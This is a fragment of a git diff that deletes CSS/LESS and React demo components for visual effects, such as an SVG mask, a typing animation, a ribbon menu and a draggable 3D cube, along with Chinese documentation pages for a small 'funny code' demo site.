|
||||
left: 0;
|
||||
will-change: transform;
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
z-index: -1;
|
||||
}
|
||||
svg {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
.article {
|
||||
padding-top: 100px;
|
||||
background-color: #222;
|
||||
text-align: center;
|
||||
color: #fff;
|
||||
h1 {
|
||||
margin: 0;
|
||||
letter-spacing: 3pt;
|
||||
font-weight: 300;
|
||||
font-size: 50px;
|
||||
}
|
||||
ul {
|
||||
margin-top: 100px;
|
||||
li {
|
||||
display: inline-block;
|
||||
margin: 0 60px 100px;
|
||||
h2 {
|
||||
margin-top: 35px;
|
||||
font-size: 1.1em;
|
||||
font-weight: 300;
|
||||
color: #888;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,50 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
const img = require('./img/amazon_view.jpg')
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="svgBgMask">
|
||||
<div className="picture">
|
||||
<img src={img} alt="" />
|
||||
<svg width="100%" height="1280">
|
||||
<defs>
|
||||
<linearGradient id="gradient" gradientTransform="rotate(76)">
|
||||
<stop offset="18%" stop-color="#1a237e" />
|
||||
<stop offset="80%" stop-color="#00e5ff" />
|
||||
</linearGradient>
|
||||
<mask id="mask">
|
||||
<rect width="100%" height="100%" fill="#fff" />
|
||||
<text x="10%" y="25%" font-size="50px" font-weight="300">hello</text>
|
||||
<text x="10%" y="50%" font-size="100px" letter-spacing="8">My Friend</text>
|
||||
</mask>
|
||||
</defs>
|
||||
<rect width="100%" height="100%" fill="url(#gradient)" fill-opacity="0.8" mask="url(#mask)" />
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<div className="article">
|
||||
<h1>You Are The Best</h1>
|
||||
<ul>
|
||||
<li>
|
||||
<img src="https://s.cdpn.io/387787/scalable.svg" alt="" width="60" height="60" />
|
||||
<h2>bread</h2>
|
||||
</li>
|
||||
<li>
|
||||
<img src="https://s.cdpn.io/387787/customizable.svg" alt="" width="60" height="60" />
|
||||
<h2>hand</h2>
|
||||
</li>
|
||||
<li>
|
||||
<img src="https://s.cdpn.io/387787/accessible.svg" alt="" width="60" height="60" />
|
||||
<h2>heart</h2>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
|
||||
@keyframes typing {
|
||||
from { width: 0; }
|
||||
}
|
||||
|
||||
@keyframes blink-caret {
|
||||
50% {
|
||||
border-color: transparent;
|
||||
}
|
||||
}
|
||||
|
||||
.cssPrint {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: black;
|
||||
&_h1 {
|
||||
display: inline-block;
|
||||
color: lime;
|
||||
font: bold 200% Consolas;
|
||||
/*font: bold 200% "Source Code Pro";*/
|
||||
/*必须使用等宽字体*/
|
||||
border-right: .1em solid currentColor;
|
||||
width: 28ch;
|
||||
margin: 2em 1em;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
animation: typing 3s steps(20, end),
|
||||
blink-caret .5s step-end infinite alternate;
|
||||
/*step-end每个关键帧在end处跳转,infinite无限循环播放,alternate来回播放,normal顺序播放*/
|
||||
}
|
||||
}
|
@ -1,16 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="cssPrint">
|
||||
<h1 className="cssPrint_h1">
|
||||
This is Nice Note WebSite By Json!
|
||||
</h1>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
|
||||
.ribbon {
|
||||
display:inline-block;
|
||||
height: 300px;
|
||||
background-color: #000;
|
||||
&::before, &::after {
|
||||
margin-top:.5em;
|
||||
content: "";
|
||||
float:left;
|
||||
border:1.5em solid #fff;
|
||||
}
|
||||
&::before {
|
||||
border-left-color: transparent;
|
||||
}
|
||||
&::after {
|
||||
border-right-color: transparent;
|
||||
}
|
||||
a {
|
||||
float: left;
|
||||
height: 3.5em;
|
||||
color: #000;
|
||||
text-decoration:none;
|
||||
overflow: hidden;
|
||||
&:hover span {
|
||||
margin-top: 0;
|
||||
background-color: #FFD204;
|
||||
}
|
||||
}
|
||||
span {
|
||||
position: relative;
|
||||
background: #fff;
|
||||
display: inline-block;
|
||||
line-height: 3em;
|
||||
margin-top: .5em;
|
||||
padding: 0 1em;
|
||||
transition: background .2s, margin-top .2s;
|
||||
&:before {
|
||||
content: "";
|
||||
position:absolute;
|
||||
top:3em;
|
||||
left:0;
|
||||
border-right:0.5em solid #9B8651;
|
||||
border-bottom:0.5em solid #fff;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
useEffect(() => {
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className='ribbon'>
|
||||
<a href='#'><span>首页</span></a>
|
||||
<a href='#'><span>关于我</span></a>
|
||||
<a href='#'><span>服务</span></a>
|
||||
<a href='#'><span>介绍</span></a>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
.wraper {
|
||||
width: 260px;
|
||||
height: 260px;
|
||||
margin: 128px auto;
|
||||
perspective: 1000px;
|
||||
}
|
||||
|
||||
.cube {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
position: relative;
|
||||
transform-style: preserve-3d;
|
||||
/*transform: rotateX(-30deg) rotateY(-45deg);*/
|
||||
animation: spin 5s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
from {
|
||||
transform: rotateX(0deg) rotateY(0deg) rotateZ(0deg);
|
||||
}
|
||||
to {
|
||||
transform: rotateX(360deg) rotateY(360deg) rotateZ(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.cube>div {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background-color: rgba(0, 0, 0, .8);
|
||||
text-align: center;
|
||||
line-height: 260px;
|
||||
color: #fff;
|
||||
font-size: 48px;
|
||||
border: 2px solid #fff;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.front {
|
||||
transform: translateZ(130px);
|
||||
}
|
||||
|
||||
.end {
|
||||
transform: rotateY(180deg) translateZ(130px);
|
||||
}
|
||||
|
||||
.top {
|
||||
transform: rotateX(90deg) translateZ(130px);
|
||||
}
|
||||
|
||||
.bottom {
|
||||
transform: rotateX(-90deg) translateZ(130px);
|
||||
}
|
||||
|
||||
.left {
|
||||
transform: rotateY(-90deg) translateZ(130px);
|
||||
}
|
||||
|
||||
.right {
|
||||
transform: rotateY(90deg) translateZ(130px);
|
||||
}
|
@ -1,89 +0,0 @@
|
||||
import React, { useRef, useEffect, FC } from 'react';
|
||||
import './index.less'
|
||||
|
||||
export default (): any => {
|
||||
|
||||
/**
|
||||
* 手动控制动画
|
||||
*/
|
||||
function init() {
|
||||
setTimeout(function () {
|
||||
var cube = document.querySelector(".cube"),
|
||||
downX, downY, moveX, moveY, tempX, tempY, degX = 0, degY = 0;
|
||||
|
||||
window.onmousedown = function (e) {
|
||||
e = e || event;
|
||||
downX = e.clientX; //获取鼠标点下去时的坐标
|
||||
downY = e.clientY;
|
||||
console.log('can');
|
||||
|
||||
window.onmousemove = function (e) {
|
||||
e = e || event;
|
||||
moveX = e.clientX - downX; //算出鼠标移动的距离
|
||||
moveY = e.clientY - downY;
|
||||
//根据一定比例将变化反应在盒子上,改变比例5可以调节拖动的速度
|
||||
tempX = degX + moveX / 5;
|
||||
tempY = degY - moveY / 5;
|
||||
cube.style.transform = "rotatex(" + tempY + "deg) rotatey(" + tempX + "deg)";
|
||||
};
|
||||
|
||||
};
|
||||
|
||||
window.onmouseup = function (e) {
|
||||
e = e || event;
|
||||
degX += moveX / 5; //鼠标松开时将拖动期间改变的最终结果保存
|
||||
degY += - moveY / 5;
|
||||
window.onmousemove = null; //取消监听
|
||||
};
|
||||
|
||||
// !function () {
|
||||
// var n = 1000;
|
||||
// var wraper = document.querySelector('.wraper');
|
||||
// wraper.style.perspective = n + 'px';
|
||||
// window.onmousewheel = function (e) {
|
||||
// e = e || event;
|
||||
// if (e.wheelDelta) { //判断浏览器IE,谷歌滑轮事件
|
||||
// if (e.wheelDelta > 0) { //当滑轮向上滚动时减小景深
|
||||
// wraper.style.perspective = n - 50 + 'px';
|
||||
// if (n > 350) {
|
||||
// n = n - 50;
|
||||
// }
|
||||
// }
|
||||
// if (e.wheelDelta < 0) { //当滑轮向下滚动时增加景深
|
||||
// wraper.style.perspective = n + 50 + 'px';
|
||||
// n += 50;
|
||||
// }
|
||||
// } else if (e.detail) { //Firefox滑轮事件
|
||||
// if (e.detail > 0) {
|
||||
// wraper.style.perspective = n - 50 + 'px';
|
||||
// if (n > 350) {
|
||||
// n = n - 50;
|
||||
// }
|
||||
// }
|
||||
// if (e.detail < 0) {
|
||||
// wraper.style.perspective = n + 50 + 'px';
|
||||
// n += 50;
|
||||
// }
|
||||
// }
|
||||
// };
|
||||
// }();
|
||||
}, 5000);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className="wraper">
|
||||
<div className="cube">
|
||||
<div className="front">Front</div>
|
||||
<div className="end">End</div>
|
||||
<div className="left">Left</div>
|
||||
<div className="right">Right</div>
|
||||
<div className="top">Top</div>
|
||||
<div className="bottom">Bottom</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
---
|
||||
nav:
|
||||
title: FC
|
||||
path: /funny
|
||||
group:
|
||||
title: css
|
||||
order: 3
|
||||
path: /css
|
||||
---
|
||||
|
||||
# css
|
||||
|
||||
|
||||
### 心跳卡片
|
||||
|
||||
<a href="https://codepen.io/gayane-gasparyan/pen/jOmaBQK">参考</a>
|
||||
<code src="./demos/HeartBeat/index.tsx" />
|
||||
|
||||
### 小球动画
|
||||
|
||||
<code src="./demos/demo10/index.tsx" />
|
||||
|
||||
### 3D 方块
|
||||
|
||||
<code src="./demos/demo9/index.tsx" />
|
||||
|
||||
### 3D 导航条
|
||||
|
||||
<code src="./demos/demo8/index.tsx" />
|
||||
|
||||
### 键盘打字效果
|
||||
|
||||
<code src="./demos/demo7/index.tsx" />
|
||||
|
||||
### 镂空文字背景
|
||||
|
||||
<code src="./demos/demo1/index.tsx" />
|
||||
|
||||
### 按钮合集
|
||||
|
||||
<code src="./demos/demo2/index.tsx" />
|
||||
|
||||
### Svg 蒙版
|
||||
|
||||
<code src="./demos/demo3/index.tsx" />
|
||||
|
||||
### 毛玻璃蒙版
|
||||
|
||||
<code src="./demos/demo4/index.tsx" />
|
||||
|
||||
### 渐变文字
|
||||
|
||||
<code src="./demos/demo5/index.tsx" />
|
||||
|
||||
### 渐变文字
|
||||
|
||||
<code src="./demos/demo6/index.tsx" />
|
36
src/index.md
@ -1,36 +0,0 @@
|
||||
---
|
||||
nav:
|
||||
title: FC
|
||||
path: /funny
|
||||
group:
|
||||
title: 说明
|
||||
order: 3
|
||||
path: /code
|
||||
---
|
||||
|
||||
# 说明
|
||||
|
||||
funny code 的缩写,就是记录一些有意思的酷炫 code
|
||||
|
||||
## 迪士尼动画12原则
|
||||
|
||||
1. 挤压与拉伸
|
||||
2. 预备动作
|
||||
3. 表情与呈像方式
|
||||
4. 逐帧画法与关键帧画法
|
||||
5. 动作的惯性跟随和重叠
|
||||
6. 慢入与慢出
|
||||
7. 弧形运动轨迹
|
||||
8. 次要动作
|
||||
9. 节奏
|
||||
10. 夸张
|
||||
11. 熟练的手绘技法
|
||||
12. 吸引力
|
||||
|
||||
## 提升页面性能技巧
|
||||
|
||||
页面渲染顺序:js - css - layout(重排) - paint(重绘) - composite
|
||||
|
||||
* translate 替换为 left\top\right\bottom
|
||||
* scale 替换为 width\height
|
||||
* opacity 替换为 display\visibility
|
@ -1 +0,0 @@
|
||||
console.log(123)
|